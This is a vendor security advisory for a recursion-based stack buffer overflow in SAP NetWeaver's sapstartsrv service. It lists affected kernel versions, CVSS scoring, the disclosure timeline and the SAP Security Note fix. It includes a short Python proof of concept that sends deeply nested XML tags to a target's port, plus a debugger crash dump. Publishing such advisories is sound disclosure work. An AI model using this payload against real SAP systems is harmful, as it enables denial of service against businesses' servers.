Penetration Testing
[ERPSCAN-16-030] SAP NetWeaver - buffer overflow vulnerability Oct 17 2016 04:16PM
ERPScan inc (erpscan online gmail com)
Application: SAP NetWeaver KERNEL

Versions Affected: SAP NetWeaver KERNEL 7.0-7.5

Vendor URL: http://SAP.com

Bugs: Denial of Service

Sent: 09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 12.07.2016

Reference: SAP Security Note 2295238

Author: Dmitry Yudin (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-030] SAP NetWeaver â?? buffer overflow vulnerability

Advisory ID: [ERPSCAN-16-030]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-
stack-based-buffer-overflow/

Date published: 12.10.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: Denial of Service

Impact: DoS

Remotely Exploitable: yes

Locally Exploitable: yes

CVSS Information

CVSS Base Score v3: 6.5 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality None (N)

I : Impact to Integrity Low (L)

A : Impact to Availability Low (L)

3. VULNERABILITY DESCRIPTION

This vulnerability allows an attacker to send a special request to the
SAPSTARTSRV process port and conduct stack buffer overflow (recursion)
on the SAP server.

4. VULNERABLE PACKAGES

SAP KERNEL 7.21 32-BIT 625

SAP KERNEL 7.21 32-BIT UNICODE 625

SAP KERNEL 7.21 64-BIT 625

SAP KERNEL 7.21 64-BIT UNICODE 625

SAP KERNEL 7.21 EXT 32-BIT 625

SAP KERNEL 7.21 EXT 32-BIT UC 625

SAP KERNEL 7.21 EXT 64-BIT 625

SAP KERNEL 7.21 EXT 64-BIT UC 625

SAP KERNEL 7.22 64-BIT 113

SAP KERNEL 7.22 64-BIT UNICODE 113

SAP KERNEL 7.22 EXT 64-BIT 113

SAP KERNEL 7.22 EXT 64-BIT UC 113

SAP KERNEL 7.42 64-BIT 412

SAP KERNEL 7.42 64-BIT UNICODE 412

SAP KERNEL 7.45 64-BIT 113

SAP KERNEL 7.45 64-BIT UNICODE 113

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2295238

6. AUTHOR

Dmitry Yudin (ERPScan)

7. TECHNICAL DESCRIPTION

7.1. Proof of Concept

import socket
PoC = """<?xml version="1.0" encoding="utf-8"?>

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session
xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
>""" + "<a>" * 100000 + "</a>" * 100000 + """ </sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:WW xmlns:ns1="urn:SAPControl">
<b></b>
<e><e>
</ns1:WW>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>"""

for i in range(1,5):
sock = socket.socket()
sock.connect(("SAP_IP", SAP_PORT))
sock.send(PoC)

Windbg exceptions

sapstartsrv!soap_getutf8+0xa:
00000001`4009cd2a e891f9ffff call sapstartsrv!soap_get
(00000001`4009c6c0)

rax=0000000000000000 rbx=000000000bcdcfb0 rcx=000000000bcdcfb0
rdx=0000000000000061 rsi=0000000000000000 rdi=000000000bcdcfb0
rip=000000014009cd2a rsp=0000000002b93ff0 rbp=000000000bcdcfb0
r8=0000000134936c69 r9=0000000000000000 r10=0000000000000000
r11=000000014061ee28 r12=0000000000000000 r13=000000000000270f
r14=00000001409f8ba0 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206

8. REPORT TIMELINE

Sent: 09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 12.07.2016

9. REFERENCES

https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-
stack-based-buffer-overflow/

10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
â??Emerging Vendorâ?? in Security by CRN, listed among â??TOP 100 SAP
Solution providers� and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScanâ??s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We â??follow the sunâ?? and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.

Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security

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